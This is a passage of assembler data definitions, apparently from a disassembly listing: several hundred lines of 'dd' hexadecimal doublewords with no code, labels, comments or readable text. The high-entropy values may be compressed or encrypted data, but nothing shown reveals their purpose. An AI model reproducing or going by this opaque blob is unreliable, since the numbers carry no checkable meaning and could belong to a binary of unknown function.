342F544Fh, 0A400E423h, 86FDE070h, 555A2E6Dh dd 0E6CF62F0h, 44F4947Fh, 7C4A8AD2h, 7B00D8F3h, 18C1219Ah dd 30C10BC5h, 8BA173A0h, 1602D510h, 19EAE80Fh, 82FEBCE2h dd 0C0222612h, 40BD578h, 0C0DC6CF4h, 79D5DF7Eh, 0D49A41B6h dd 4CCD174Bh, 9550A1FCh, 0E7C25851h, 0DB7D058Ah, 47BDC0A0h dd 0B11C4A7h, 809BE9B9h, 0E31EC4F8h, 882D04Fh, 7FD92B75h dd 2000603Dh, 0D69314E2h, 0EC7A2C41h, 90F908E4h, 0A7D5B100h dd 2A83F345h, 97A47C9Eh, 9C05C4Dh, 5F7A2C02h, 0A49031C5h dd 67FE04D0h, 11062F4h, 5925E4D4h, 66C98004h, 0C55E03B8h dd 0C5DC9A2Dh, 6154E43Ch, 88CCCCB2h, 21420235h, 54793F5h dd 14B705Ch, 11D130EAh, 4CE8302Dh, 58086EB7h, 0C810CC1Ch dd 38984BC0h, 0B6088441h, 6142566Dh, 74959E7Bh, 0F500AEACh dd 7F1E9C96h, 5C95214h, 30741B6Ah, 2448AACEh, 7138B113h dd 33C007B5h, 0A85BCA38h, 0E45184h, 0B9BA61Eh, 4DBF0EECh dd 8D2E6E18h, 122B34A6h, 0E599B4D0h, 948D7EBCh, 91B98441h dd 0D844AA04h, 0A8129A41h, 0BF450BCCh, 3CC8D667h, 3739FD30h dd 1F003E4Ch, 290F4E4Dh, 17B7A2EDh, 90CB5F5Eh, 0E180EF50h dd 54000CE4h, 0AF909E57h, 0B0D21A6Ah, 257BED6Ah, 0A442FF44h dd 0C8213938h, 1061F2A4h, 4F0FE118h, 1C4C58F2h, 78F0C25Bh dd 0D597A802h, 48705409h, 54B4099Dh, 6E191C8h, 0A5F5A679h dd 0BDA127D8h, 6D18E0FAh, 0C5494172h, 0C809728h, 0A9A08132h dd 69DC60BFh, 0CC5C8285h, 820E66Bh, 315D20CBh, 0C1DA0E00h dd 9A13D910h, 0A6785A6Ch, 0A2161050h, 10A4AA2Eh, 102894FBh dd 8A1BD668h, 0AAE46970h, 29D5608Ch, 9DE4AEFFh, 0AF092208h dd 6060C50Ah, 61BC3C18h, 5BEF92Bh, 64A9829Fh, 0E7B4DA0Ch dd 63924480h, 0BB5FF847h, 0BD182A7Bh, 4D9081CCh, 3780C014h dd 3D50BA57h, 0BE24F94Ch, 639F285Dh, 91E017ADh, 704F80E6h dd 7C08C11Ch, 0FC78D751h, 5409F548h, 0EEBC0491h, 0FD8017EBh dd 8C5CA814h, 34ACDC5Ch, 74F9F121h, 94620888h, 590C7B91h dd 2671839h, 2B36A4A7h, 0CC06B50h, 7DE44B0Eh, 3064C626h dd 0E074E8A5h, 52E9023Bh, 0AD7C13CCh, 0A7849555h, 0BB733C7Bh dd 3861E814h, 0F0589525h, 0A0E6AB4Bh, 0C4BD70E1h, 0D241A01Bh dd 22A48A2Ah, 0D5220B77h, 2C56C114h, 2E056C9h, 63F7D08h dd 474488A4h, 9DF07F7Eh, 170C901h, 0BAC0A602h, 2F64B78Ah dd 0B301786Eh, 0AE639C49h, 0AFFC6A7h, 0C408D498h, 0B6793CDEh dd 80616B9Ch, 305DE248h, 144DB8h, 54675379h, 0EC6652BEh dd 28C77300h, 0A57A601Ah, 185195C0h, 0C14EBF44h, 0ACA9410Bh dd 0AB6D3C02h, 5B109C55h, 6E98172Dh, 0DFE20768h, 2251F151h dd 7830376Ah, 0FC1284F2h, 68E46C28h, 0D3FD0219h, 0E354C91h dd 7FEC897Fh, 76018C37h, 43EDE48Eh, 0DAA0046Bh, 42F0C1E8h dd 24B0758h, 133850Ch, 5A4CC270h, 5314C070h, 90EACC2Ch dd 0B2A35F4Dh, 0F691005Ch, 84880F57h, 0FB4A04E7h, 878129A4h dd 7C592948h, 0DC1838F1h, 3EE00501h, 6E650BAAh, 31BAEC44h dd 4297920h, 0FB1C31FFh, 6D0C702Dh, 1CA72A5Ah, 5FB86048h dd 45DB018Ch, 2D908CEAh, 0D0C6CE15h, 36C03A03h, 0F87E4F72h dd 55D5A9h, 0B1DE3F19h, 0B44771A0h, 107BAA0Bh, 0AC28CBE4h dd 0F6206F4Eh, 7103C1D0h, 108F4500h, 0B56ADC66h, 21D90002h dd 0FF3FBF2Ch, 0F601F312h, 0DF4D9D71h, 0F839B3A8h, 0FB023EB8h dd 8BF6E99Fh, 9D6CC031h, 288CA4AAh, 20A8F97Bh, 187427EDh dd 4B0EA0B1h, 0FDC1999Ah, 9F444310h, 8F342B00h, 0BF9807C0h dd 0B9E3025Eh, 0E532792Ch, 0FC78A3DDh, 18911EC3h, 8CFB14D7h dd 9085129Fh, 1B9896F8h, 0DFA88416h, 0E5AC34A9h, 0D00F028Ch dd 728A91A8h, 2208A0FAh, 17DB04F5h, 4A8CF90Ch, 3988488Eh dd 3D12CECCh, 58818F2Dh, 31BEF37Dh, 929074B4h, 44A9F24Ah dd 0F1003EE8h, 0A4709B87h, 173F5786h, 8FD7B3Dh, 0D8A0F0C8h dd 64A8EDBFh, 40B260EDh, 0BD79D4h, 544F7404h, 0CE459C70h dd 27138F39h, 795CA185h, 132EBD9Eh, 4A28FC8Ch, 5B1C8A7h dd 0F066D6DDh, 4CFC600h, 0CE3A2E92h, 154E0007h, 0CB8DCCE0h dd 0DB013716h, 0A4CDA873h, 43C24FCh, 0F48C9FE8h, 0CD5802E6h dd 0DA806646h, 6E4D3841h, 0C178F0D1h, 23203A2Fh, 97AD04E6h dd 0D744BD51h, 44A898BDh, 0B012D0B0h, 1AA5036h, 0C99E7B88h dd 224788Ch, 56B5623Ah dd 253C54A8h, 7DC7456h, 39279CFh, 0FB2FC088h, 6D72A614h dd 74814A4Fh, 81CA34FDh, 0B92B05B4h, 23706B2Fh, 0C3B61FEAh dd 0F1BE3C79h, 2908C180h, 987080BDh, 6030E70Eh, 0F404F85Bh dd 0D1169A07h, 0CCA67799h, 81D03CE0h, 0AD996D02h, 5ECB0D19h dd 0CF9CC060h, 941AA00Ah, 55700CC8h, 0D5C0EC4Dh, 0FA71E3BAh dd 0A94C4AFAh, 946AD788h, 0EF292C12h, 0B712AC6Eh, 2EDA5C8Ah dd 0BB236468h, 0A200AC7Ah, 3D5C14EFh, 4438FBDFh, 0C5DBA57Bh dd 89951830h, 0A705F63Eh, 219F13Fh, 0C4F421AAh, 0A48E6AE0h dd 0A2C063E9h, 0EF3C305Dh, 0FB4F8A0Bh, 72A1h, 4350B3E4h dd 942759E6h, 7CCC6EF7h, 758A114Bh, 87A309D5h, 51405ECAh dd 122184C5h, 0C89578D5h, 6A4FBCE7h, 15201E0h, 0E24D8E67h dd 7F94A12Fh, 9B3BCC8Dh, 9A2F8054h, 449DE87h, 0FDAE7908h dd 20F91785h, 0A0C4E6D7h, 96AAFFF0h, 0D0A09750h, 0D9987548h dd 84ECD201h, 0F118497Ch, 0B34A846Ch, 0CC85A80h, 56A60011h dd 5C71185Dh, 0E4971342h, 0CA0601D8h, 0AA919F26h, 0ECB1E510h dd 822E24DEh, 2E007E8Ch, 7CA6E049h, 9B135A18h, 56AC892Ch dd 5D46D61Ch, 0F307DB12h, 0C52A050Ch, 68C8F96Ch, 0A22AFF92h dd 0E4B6D3A8h, 8AE5C3A0h, 1D85007h, 0BA54C177h, 0AC7852EEh dd 0C0E697B0h, 0D05A41E0h, 4158B39h, 7234DCB8h, 6FB035AEh dd 0D9080214h, 759129A6h, 35B59C96h, 0C03E1FD4h, 0B12B82D1h dd 8340C82Ch, 6DAC2F48h, 0A82D787Ah, 9BFC50B3h, 57587854h dd 0A1B2BE00h, 3D1947A2h, 6D0C2F28h, 0C52C34A1h, 7D798984h dd 0B1487891h, 18E8D1B8h, 7D440912h, 8B776562h, 693054A0h dd 3EE4B4C5h, 7860C060h, 0FAD09401h, 7CA14B0Eh, 0FE44C46Bh dd 27045C30h, 6E26120Dh, 0D208BCBBh, 67B834EDh, 0F2D65200h dd 562984D9h, 190E1166h, 0CE410324h, 0B2F5D0EDh, 6D948B94h dd 0F573C088h, 0E2162F9Eh, 0A516BF99h, 80E68013h, 0F3178212h dd 0E0D85EA8h, 0CC8B5D5h, 0D9087B13h, 3FC6C18h, 0A49AB585h dd 90F734E0h, 5015BE02h, 0F566D04Dh, 231D8037h, 0E00EAD0Fh dd 725B368Fh, 0D4DD160Ah, 0A2C4BCE5h, 9E644CC9h, 94C6A5F0h dd 0F9478A16h, 3155F402h, 0AFEA114Fh, 70EC7B39h, 0F5F2F749h dd 75ACAB04h, 0CB057AFEh, 0D6BC405Bh, 3EE4B97Eh, 1FE60700h dd 1A73AAE1h, 0DD0A5859h, 0DBC50F00h, 66DA1774h, 87CB2C1Bh dd 7308E961h, 0F98E242Ch, 3E715EC0h, 5A0B3D75h, 801F8BFCh dd 0D82634F5h, 0B5DE0C03h, 143182A1h, 0FBFCDC4Ah, 0AB391A12h dd 0AE80482Ah, 6F128E4Fh, 98153A39h, 3621E26Dh, 9667009Ah dd 54457122h, 0D100D8BEh, 0FCC24D43h, 527848B5h, 0DE01D0A1h dd 8FE8C9C8h, 8BD7F27Eh, 0D51C42F0h, 5004037h, 0D77B37C0h dd 4CCB5ABh, 1A57F882h, 3CD498h, 0F5A06D50h, 0C90EF98h dd 0A7FF870Bh, 0F14C5138h, 17CC195Fh, 748B1434h, 2480C0A0h dd 65FCB24Ah, 610D6C1Ch, 40C06D13h, 0E0C378ABh, 5FE49A2Dh dd 41CA390h, 47964D0Eh, 6943CB06h, 0E1507F00h, 0DE29AAB0h dd 330F63Fh, 3BF745D3h, 43DA7D6Ah, 108D24E9h, 3345CC4h dd 4CF83DAFh, 788A0E49h, 91FCBDD5h, 829F8BE5h, 0FDECF5C8h dd 9FBE828h, 34CD7AB7h, 880625C0h, 0E6444FC3h, 98BCE324h dd 28FD5B7h, 38C3DF09h, 0B45E3521h, 0DC98DEE9h, 0A36A4013h dd 0D5D80D00h, 0C35ACAA2h, 77341B21h, 0BC3D1E00h, 90FA3F62h dd 0A9E00Dh, 0BC5858Dh, 0DA1A12FFh, 187BAA00h, 0B831F03Eh dd 0E9604ED9h, 3EF2B874h, 8EDE1752h, 0CE5CC8E8h, 94FF38F8h dd 8989358h, 768EC354h, 7D503F46h, 722C02F1h, 15D55ADCh dd 502C2074h, 3AE84674h, 6B70092Fh, 117854DDh, 0C4C95A9Fh dd 0DF01466h, 4F300F3Ah, 0B3F340A9h, 982C7D26h, 54B7BFFCh dd 0A982CB00h, 2EC6875h, 12015D32h, 625F1CFDh, 0B09AFF48h dd 37113017h, 10D1F389h, 1A6D0E82h, 996CC94Bh, 91BC1468h dd 4840628Ch, 560B4276h, 15E35190h, 5E232C3Ah, 0D237003Eh dd 0DE97A8A7h, 0A6215B9Ah, 2ACEE06Ch, 0D1DC38E2h, 2603AA84h dd 0AE8CC39Dh, 0CBC4B959h, 59D18003h, 28B38Fh, 11D87BD7h dd 0F07AA3E5h, 0A902821Eh, 7391E401h, 0C16B79C2h, 2EF1B0F8h dd 0E62B3C9Dh, 0CA9BE038h, 49C1C047h, 0A5564E69h, 0FAC80500h dd 72463A26h, 0F9C609DFh, 587403CAh, 820EC970h, 816FC056h dd 4B3502F0h, 0F8C0C5CDh, 9B425BB2h, 7CD5D744h, 6B90CF07h dd 5DB00249h, 0D87309A5h, 0C1FCCD25h, 2EB15C29h, 0C2CFCC0h dd 0B7234BD5h, 90A8B358h, 904B09h, 0FAB19499h, 0A518C14Ch dd 916C059Fh, 0D090E41Ch, 5A7CB04Fh, 409A5782h, 67054DBh dd 0E569037Eh, 134464F5h, 9882DEF2h, 0C30088A9h, 0B5038518h dd 74A52CE6h, 0C7605FC4h, 0BE5C6E8Fh, 0FC14135Ch, 3E707AEEh dd 0FA2B00A9h, 9E7BD437h, 0C449705h, 57564D12h, 0EA4C8891h dd 2AD36C01h, 0A8FF7881h, 25C222Eh, 0E03EB331h, 0E820D598h dd 806316F8h, 50B01F74h, 0C7AF0922h, 8C90D539h, 4003C86h dd 32DF6BBh, 474B360h, 9B510584h, 7C49BA7Ah, 143BD761h dd 193401C8h, 0FDAA1A06h, 0E670DA20h, 809524FFh, 0F2D90B2Ch dd 0A82A9498h, 0C3E58904h, 42FFE19Eh, 0B150808h, 0A0E29100h dd 9CFF1681h, 4C1CBC90h, 2FE516C1h, 61041CBDh, 0E9241908h dd 98A1262Ch, 0E4D20F40h, 0A5610081h, 0FEB453FCh, 0BE00291Fh dd 0EACFC48Ch, 4FD82246h, 0CFC4BC6Ch, 8189FBADh, 0A6003A8Dh dd 0A832F510h, 5C73D1EDh, 926D0ADEh, 2898A6CCh, 96A91320h dd 0D150A4DAh, 801C739Fh, 0DFEDE3D3h, 210047ABh, 4D2DBA58h dd 1EA7C18Ch, 3A9E798Dh, 0B1A180E3h, 0E736C913h, 0E47408FFh dd 56110609h, 61D318F8h, 0D61EFC71h, 0CB0328DCh, 37ED20h dd 0C9450EB8h, 0C15D4942h, 0D9681050h, 8085AE13h, 0C1E028ABh dd 0F68FBC13h, 2606EAFh, 8A6183EFh, 64087E7Bh, 0A5BC827Dh dd 0DC4BE854h, 0A902DCF0h, 10B76FB3h, 0B50C5045h, 0D2078C37h dd 0AA0E1354h, 5A009025h, 0ACF191E8h, 0F4009EF7h, 0BC925300h dd 0C13B5895h, 0B0307C78h, 2FB45A57h, 2922374h, 173E9683h dd 0B5002CD9h, 0EFCB29CFh, 5DF7DFAh, 6DBEF379h, 7463AF97h dd 8B85D50Ch, 0D65040AEh, 0DE7DF870h, 0A0AC1E9Dh, 0BF91013Ch dd 526460E7h, 0CE1F3B60h, 83650C00h, 819896E7h, 0A1FF2292h dd 0D452311h, 4E176848h, 0D25CB95Dh, 37B8C8F9h, 60EDAE0h dd 0A08A95FAh, 0AE7B7FC2h, 0D0A964ADh, 602BBABDh, 8C30444Ch dd 0BE79D689h, 0D882854Bh, 0A0655517h, 28525E12h, 1CE33CF6h dd 0FA19CDA8h, 4E47AA3Ah, 572014BCh, 0BCBC784Bh, 0E9A2D483h dd 3E47C2E8h, 34F9E200h, 644AFA69h, 8C2B4EE1h, 8F00A29Ch dd 1598E9A0h, 9527051Ah, 0CDA7C05Bh, 68EE408Ch, 611DB5A3h dd 8D025FC9h, 77A9DC4Ah, 0CEC0E86Dh, 0B0648C1Eh, 115D203Ch dd 4CCCA65Bh, 404D798Eh, 45977C56h, 5D22117Ch, 9030B89Ch dd 64FA273Ch, 0DB71E056h, 0A3BCBC14h, 0F6795BD5h, 0FB16E068h dd 0DD3E0968h, 84D76903h, 0E509DE78h, 0D874137Fh, 0F0F639Eh dd 1765ADB5h, 0AECB5065h, 0C4B9F816h, 6A1267B8h, 0FBA5A0Fh dd 0E44F834h, 0AC16BA2Fh, 0CAE00CE6h, 0DE258246h, 43207422h dd 9F0AC60h, 4016C544h, 1CBD4DE9h, 0E9842116h, 9CEE870h dd 41A48DBFh, 4B815C71h, 0E3F87D94h, 42A8B73Ah, 3098E290h dd 54009C63h, 0B6E224A1h, 5AABB11Fh, 0A014F060h, 84B3435Eh dd 2761848h, 361B8B7h dd 6D5560E4h, 6B5BC394h, 0BFFD7A88h, 362CCD09h, 0C4B7FF49h dd 39E7CF81h, 95DC06AAh, 0A83D5AD9h, 2D1080BCh, 118A275h dd 0F1E837B9h, 7E6D1DBEh, 0A0685040h, 0F870FD38h, 39621796h dd 80A0B80Ah, 0E24BABDAh, 0EA3C12EDh, 2C30BF28h, 24DF1675h dd 0B8E45A8h, 545C425Bh, 0D7D37602h, 8C3A5DC6h, 13D4C4DEh dd 0FAF94B7Ah, 10619020h, 0A4829DA5h, 3F7FA679h, 0BA70070h dd 0CCC25DA1h, 0BC710339h, 41421373h, 192431AEh, 0C0F3E8Bh dd 7B568143h, 822F559Eh, 185D295Ch, 0C24FCA58h, 36C26F61h dd 0B66E3C40h, 0B140289Ch, 3996CA9h, 2E394B06h, 61E0C57Eh dd 0E65A5D01h, 0C24A8F3h, 0A4722F9Fh, 0DE2CFD25h, 9F467C20h dd 799C143Dh, 193E42E5h, 665596A9h, 0A4C0B5A4h, 49632A4Dh dd 0E4ACCD71h, 52E8D8BAh, 0DB0ED1E0h, 0E0F17D05h, 686790F0h dd 0A0441192h, 0B50C0096h, 76221CC8h, 0C3460038h, 4FB48C95h dd 0BC02E378h, 1768967Dh, 540F5DDEh, 0BEF07140h, 249066C2h dd 56964F27h, 4A0B1190h, 54C874CAh, 0F1B5B3C0h, 277EE84h dd 284424E4h, 77600604h, 0C8A69D0Fh, 0C39FC500h, 2D7E4A78h dd 952C00D3h, 84C1D14Ch, 18E84291h, 0C8123FE9h, 2E7C30AAh dd 0C800293Ah, 6E890C20h, 0BF718ADDh, 18981820h, 51499FD1h dd 0C2550488h, 0DBEB9A54h, 0EA2980B8h, 2460BADEh, 133A6753h dd 2FE402E5h, 6675C147h, 0C32C2C9Ch, 4DAE40A0h, 0B380656Eh dd 7C8A2D18h, 0E082ACCAh, 105FA0DAh, 0ED3E630h, 9C489E6Fh dd 0B1B0E1E3h, 1C5B4FB8h, 0A46E604Fh, 0C0003D26h, 4AA2FFD7h dd 5DC371C1h, 0C13F42ABh, 5EEA94h, 45E8DD2Ah, 0A88F6BE6h dd 23942B5Fh, 0C57F055Eh, 0E420AB59h, 3DD4411h, 47F77920h dd 73F92D5Ch, 4CB22F5Ah, 0B06CF84Bh, 7847E0h, 0C09FD60Dh dd 17FA37B7h, 9E6DB609h, 7190745Bh, 0F8C06871h, 0C5078C50h dd 10702B53h, 382D30F1h, 0FC086C38h, 0C82A2A1h, 484EDA6Dh dd 4E68D5DCh, 0A8649BE2h, 11008C55h, 915812C8h, 2C80981Dh dd 0C0685DD1h, 0C99A01E0h, 60ED1600h, 6CDDAACDh, 30DE81D6h dd 8A5AB1E0h, 0CD11ACCBh, 82AC40B2h, 0D6EC5553h, 17EC8810h dd 0B0A20547h, 99E9BE08h, 97C8F027h, 4A8818DBh, 1FD42B58h dd 602E09ACh, 6D6970D1h, 286D4014h, 359DE8A8h, 80E79168h dd 0C8954C31h, 126D2D8Ch, 0F5A8C400h, 4281D1BCh, 4B4822E0h dd 0E8BCFC84h, 13018C35h, 667CA83Dh, 566BC62Ch, 703004D0h dd 0B0D01F17h, 68F17327h, 9FA48700h, 7980F99Eh, 0C6A900D8h dd 0FAFEB7C2h, 6D4BDEB4h, 0BC15B8D0h, 1F812C7Ah, 0D39E0079h dd 0DF3EB303h, 0B0612601h, 0D1F9CD65h, 76A7BEC9h, 457AB082h dd 467EB8D4h, 0F130B3Fh, 65C08306h, 825B8AD0h, 0EBDC9Ch dd 7A327DB4h, 0D020F8A4h, 0F81ABFEAh, 1A5DD062h, 88608230h dd 0D05909E3h, 0F415A100h, 20BF73Dh, 63F2BBF8h, 6E756214h dd 0D464B458h, 837C7309h, 0D6A87464h, 27009E46h, 0B517ADABh dd 18384D35h, 37651241h, 0BB9075EBh, 0B40F446Eh, 0D3E06C25h dd 0A0958DB6h, 56818A2Dh, 5CE0DCC8h, 0E4D5AA0Bh, 435874C2h dd 0D10089A1h, 9BE34D5Ah, 7692DEh, 7A535185h, 0FB478A0Dh dd 64B84D97h, 93A660E6h, 0B0469762h, 70907395h, 2C170FC6h dd 0E8EC5AF7h, 377CFF82h, 174CA580h, 0BA5005D6h, 0F57008E8h dd 0C0DCDA4Bh, 0BB5A0B98h, 9CFE22C7h, 0C4E07060h, 0A25A13h dd 0F773ABE4h, 0D13E752Eh, 94A64A55h, 9A838E3h, 0CA0B1FFDh dd 6468124Dh, 93F40090h, 6AC38AC2h, 0E201FA70h, 1EBFEA9Eh dd 6B3E8076h, 38512354h, 76602C00h, 657AA04Ah, 0D15D0A27h dd 183AD904h, 1B577A7h, 2E803F12h, 3A5E4B3Eh, 88E75028h dd 0EA00FF3Ah, 4566ADDCh, 3584DF7h, 4AE32873h, 4EA32582h dd 66E451F0h, 39D1B099h, 19004A18h, 637020C6h, 4B4D0EA2h dd 0CB280926h, 0F880D85Ch, 5764166Bh, 0FA100192h, 0D22A50CEh dd 3433B9h, 822FFD3h, 5C1BB7Ah, 0D87B3C0Ah, 5429BF76h dd 93AC043Ch, 9D35028Ch, 7DFF2C50h, 2EC018DDh, 6475023Ah dd 11B9186Bh, 9F44E77h, 4213041h, 0C1E7C474h, 0D8A1D504h dd 3478CA6Bh, 58DED014h, 4567FF81h, 748D6E79h, 24D0202Fh dd 0C2061ADAh, 8ECAD209h, 0AFA30338h, 0D9A637D1h, 51C230B6h dd 0E07BC323h, 0C98E9D44h, 58744449h, 2A330503h, 0DBABC5C3h dd 0C81882F4h, 940E16Fh, 4AA4E32Ah, 3304D4B8h, 0E9CAA01Ah dd 31930044h, 1B9DC182h, 0C5B70940h, 0CC705201h, 5ADC68B4h dd 0CDCF34Eh, 21F10D47h, 14449705h, 341F7EF2h, 6DC0EC38h dd 0F4E06509h, 0EFF3272Bh, 936E84FCh, 7BB0EB00h, 5B3D0DE7h dd 0A7700322h, 0E00B6D2Eh, 0BD286B4Ch, 0BEC40298h, 3DDDE949h dd 5299F94h, 0F0390841h, 98036044h, 4C1512DDh, 0C6829D18h dd 0A758747Dh, 1BE31CEDh, 0B9B88A3h, 0F9494AAFh, 79BCF0h dd 5310AA49h, 12C4A9A0h, 0E4C0395Bh, 9818F53Ah, 89A8A063h dd 645D8281h, 0A8190720h, 0E0FEECE3h, 615FBD51h, 54CD7707h dd 18624906h, 0A58876F1h, 7A0474C6h, 88FDAA21h, 0A26AC0A1h dd 0B05B88ECh, 74F2EF89h, 9538630Ch, 9DAF500Fh, 0C7CCD010h dd 26EF5500h, 583DA311h, 427093h, 0EC360E61h, 2C607810h dd 30A5CA4Bh, 0BED2583Ch, 2CC16435h, 0C83ED718h, 0F6030A54h dd 5B3CD32Dh, 77FED047h, 8A8E03D4h, 878B4461h, 0DB7BB4D8h dd 37DD1227h, 0A9C4938Ch, 24DAD670h, 4B2B6C80h, 0F72FF4B3h dd 0C8792Ah, 0EB029080h, 0C03D2FBh, 0E56CBDF1h, 1880252Eh dd 0C97EE0C8h, 0B8256877h, 27345043h, 0A8679065h, 49605C64h dd 6517AC1Bh, 5CC468AAh, 4FC370B8h, 0CBF2C8FFh, 94EC6875h dd 584CB75Eh, 0A8303197h, 0C47F54D9h, 188DEAFCh, 77E4044Dh dd 1E6103F7h, 0E36045Eh, 13149CB8h, 0A6B33Ah, 0DC9A225Dh dd 582538C1h, 8D842012h, 0D83BBFB7h, 81185123h, 12FD3B3Eh dd 0B87C8A8Dh, 0EA4CC4DCh, 0AAF56C05h, 0D9E3C44h, 4C5EF849h dd 3D8AB908h, 3F024100h, 0C780635Fh, 6DAC3909h, 2A38C00Ah dd 0EED82DCDh, 5F902CD1h, 453E6D83h, 30F0285Ah, 88DD4B7Ah dd 7D12ACA4h, 22BB4666h, 5720F9C0h, 0FCFEA55h, 6AFA0950h dd 0DCC5AAE1h, 0DA6893D2h, 793C0BABh, 70052C74h, 0CCAFEBDBh dd 9E73FB7Ch, 54C3C1C4h, 0FBBC4C0h, 6CCA58F4h, 0AC9512DCh dd 8FF98460h, 0B0721256h, 0E4A6A18Ch, 9CEAB500h, 4254C101h dd 24BA0107h, 0D9F4998Ah, 0C18121F3h, 3CB43AAFh, 0C874883Fh dd 7CFF6A06h, 0B7F9CBA1h, 8873C71h, 0ACC888F5h, 488217Ch dd 0FAEBFCC5h, 0C6954C44h, 0D988A0B8h, 0F72908Bh, 297862A0h dd 0E0B18984h, 0A0EDA0A4h, 1967B20h, 79733498h, 79A42DB6h dd 33B91650h, 46A120E8h, 0A63A090Eh, 0C63A01Ch, 481EEAF8h dd 5A22D082h, 9F293100h, 949D3966h, 0DB572D9Bh, 5EE9D4DCh dd 82DAC5C0h, 0C655B140h, 0F5A80CC8h, 3CD8FF68h, 28A1C44Bh dd 0E088F62Eh, 2A78715h, 1EB43A84h, 7C5C5AC3h, 0DCB4FE27h dd 80697B02h, 4075E628h, 819EB128h, 0F06E6BB4h, 3076077Ah dd 0CB3D24CAh, 0E5F1E479h, 5525F718h, 7EDC5699h, 0CA025D46h dd 0E1C328E7h, 0DA38405Ch, 0EDBCAC4Bh, 0FAADC098h, 0FD20BE79h dd 0B4725A5h, 621978E9h, 0EEFF1844h, 1F8218h, 18DB1E2Fh dd 2453C7CEh, 0F937A80Eh, 0DAC12183h, 42D0547h, 7E48A34Bh dd 40CD3027h, 13E871CCh, 9BC4494h, 0BDF50D4Ch, 96308064h dd 0C539BEB5h, 37BC904Bh dd 8A20035Bh, 0C109217Bh, 0E6E41770h, 5C50B520h, 352B2B41h dd 0B860E9F8h, 0E26BFB7Eh, 0EA8C0050h, 9983415Bh, 0CB871253h dd 0BDC0E824h, 4C06A7Ah, 3DB6C157h, 211868B4h, 7B25395Dh dd 4C6611A0h, 0C22C1298h, 4892A0E9h, 0F39A24Ch, 0F25432A5h dd 0A9C1A8E8h, 2B117A92h, 3923602Fh, 0C8B73502h, 8936401Ch dd 0DB47258Ah, 516D4C5h, 307BFEh, 0FF1CBA8Ah, 3C74C7D5h dd 7291DE0Ah, 0FD9C0526h, 9A1C014Ch, 0D52D5109h, 249DCB9h dd 0B5F51A7Ah, 0BD1E010Ch, 7C99CA13h, 0B5518410h, 379FDE80h dd 40BF070Ah, 406078C6h, 0A26DAE35h, 3265E301h, 0C5D23E2Eh dd 5C24282Fh, 90E500E9h, 0BAF00B45h, 8474423Ah, 7028DB25h dd 7A051227h, 16E80213h, 5F7214C1h, 4EA0896Eh, 0C0E88848h dd 0EB61527Bh, 10C02A4Ch, 0B8508D0Dh, 6B064165h, 29B0B8D2h dd 0A570307Bh, 427EC1Fh, 12E52C1Ah, 0C844AD50h, 40EF9DE1h dd 2C4F3884h, 683D813Dh, 20FA1E90h, 1B12A89Fh, 0D6CC8804h dd 0AC74DE09h, 0D4D4DEE9h, 11DC2A00h, 7D7A4801h, 0FF2C00F4h dd 0C998605Ch, 742E2586h, 0A130FC18h, 173AA216h, 0E8B37768h dd 5E8CD090h, 8AFF3CC4h, 0D51B00CCh, 95E698A2h, 932EE342h dd 0FAE4133Ch, 6A354420h, 5AA81A1Eh, 1074A9C3h, 0A81B7F43h dd 0E6408A1Ch, 0B3571FC2h, 7687BBB9h, 0FB0E2C6Ah, 91C4C282h dd 1C947844h, 0DD868A40h, 0CB2F3D07h, 0EDF9171Dh, 0D37D8078h dd 59BC5B95h, 9F189Dh, 365EC458h, 7CC71E3h, 0E08C7D4Bh dd 443A132Eh, 617804D3h, 3419042Ah, 0A30F18ACh, 5EB704ABh dd 0E1DD004Ch, 1389E22Ch, 0AA47E05h, 68A8ACC5h, 0A060A84Eh dd 8155DA4Dh, 0B9C84142h, 9AEA0405h, 0C753C860h, 0B9FC1078h dd 182E1706h, 0E808A4A3h, 450E05FEh, 2BA8B18Ah, 94E3B4B6h dd 924F0FB9h, 38F169D0h, 4686E7Ah, 591DE2F2h, 9371F4B8h dd 0ECB72DACh, 6C9CBB00h, 93887F2h, 0A477180h, 0C161207Eh dd 0A62BF4C3h, 8CABE59Ch, 825496Ch, 0FFF8E0B5h, 3E40B9ABh dd 2FA93008h, 0C52CA003h, 0DCA14F8Ch, 47975C38h, 609EC440h dd 3E05745Eh, 0DE818984h, 0C50879B4h, 9CD13F23h, 0AF049755h dd 9E7B3C30h, 0A7F8BD99h, 84DF5C95h, 171F03FFh, 0EC4120BBh dd 0B072B931h, 0BB0E6101h, 485B6CB2h, 0D17855CAh, 0BF665106h dd 0E114EB6Fh, 89DAE9DFh, 0DF0E1FB1h, 4EB27E58h, 0DEAB2E00h dd 52C1EE25h, 0D7E8DA01h, 0A6AD858Dh, 2222A82Bh, 0FB3EC003h dd 0FAB75290h, 0F6505B38h, 80555695h, 31684D58h, 7400BEDDh dd 3A0B7CBFh, 0B82C15h, 82691097h, 5F51AC3Fh, 21B57FE3h dd 0CB15BC5h, 7F2A18B8h, 0C0901FB4h, 195FF71h, 73BF071Dh dd 0D182789Ah, 2D9D290Ch, 5F0F4607h, 37A8B7h, 61C574D3h dd 693E7BBh, 85C768B1h, 6502A05h, 0D7018133h, 18F9AB20h dd 8E49BD83h, 88D155C2h, 0E930AD20h, 8D090F21h, 480C63D5h dd 11AB3050h, 0BC04482h, 107AE8C1h, 0F020ECEh, 5803C04Ch dd 0D04E983h, 36EBE775h, 6404DE36h, 3316EE39h, 2829501Bh dd 58182140h, 570113CDh, 0BC941B09h, 0EF0988C0h, 0CD552DFBh dd 0ADA760AFh, 91A28E52h, 850FA118h, 8B4BE162h, 7FA096DEh dd 45495D2h, 164674h, 66658805h, 0BFA199BBh, 5ED78850h dd 231E3AEEh, 1DF001Bh, 0E134611Fh, 60F8D3Dh, 0BFD9D8Bh dd 475B48D0h, 0E043D1Ah, 58B77355h, 0AC0135D6h, 8BC7862Bh dd 0B18DA1B5h, 3A290FE8h, 7E2E5E0h, 0B1289EFDh, 4FB270CEh dd 7617D6E6h, 18FAC75Fh, 0B50904FAh, 79BFDD70h, 89D803CCh dd 85992434h, 0A5B9AA71h, 605F8F8Ch, 380C4B8h, 61685D3Ah dd 8D2BAF06h, 0F036272Dh, 0C1BD1B33h, 0FA100E31h, 0AE901A55h dd 58C17B8h, 0FCA02CBDh, 0FB7C24F9h, 43AC48A9h, 0E8858B2Ch dd 31EC9036h, 860D0D09h, 8B2D83C4h, 7615F9BDh, 79953A18h dd 80600C60h, 57757EC7h, 5B6139h, 8B04C283h, 185089FEh dd 4505E820h, 7509A2E3h, 835BBCB9h, 5FBA1F8Dh, 0B887E9B8h dd 5D70064h, 73E3BFC1h, 0B5066DABh, 0C599D31h, 503DF0BFh dd 88B86525h, 72D292B7h, 0C278DAAAh, 892086EAh, 94349287h dd 47569595h, 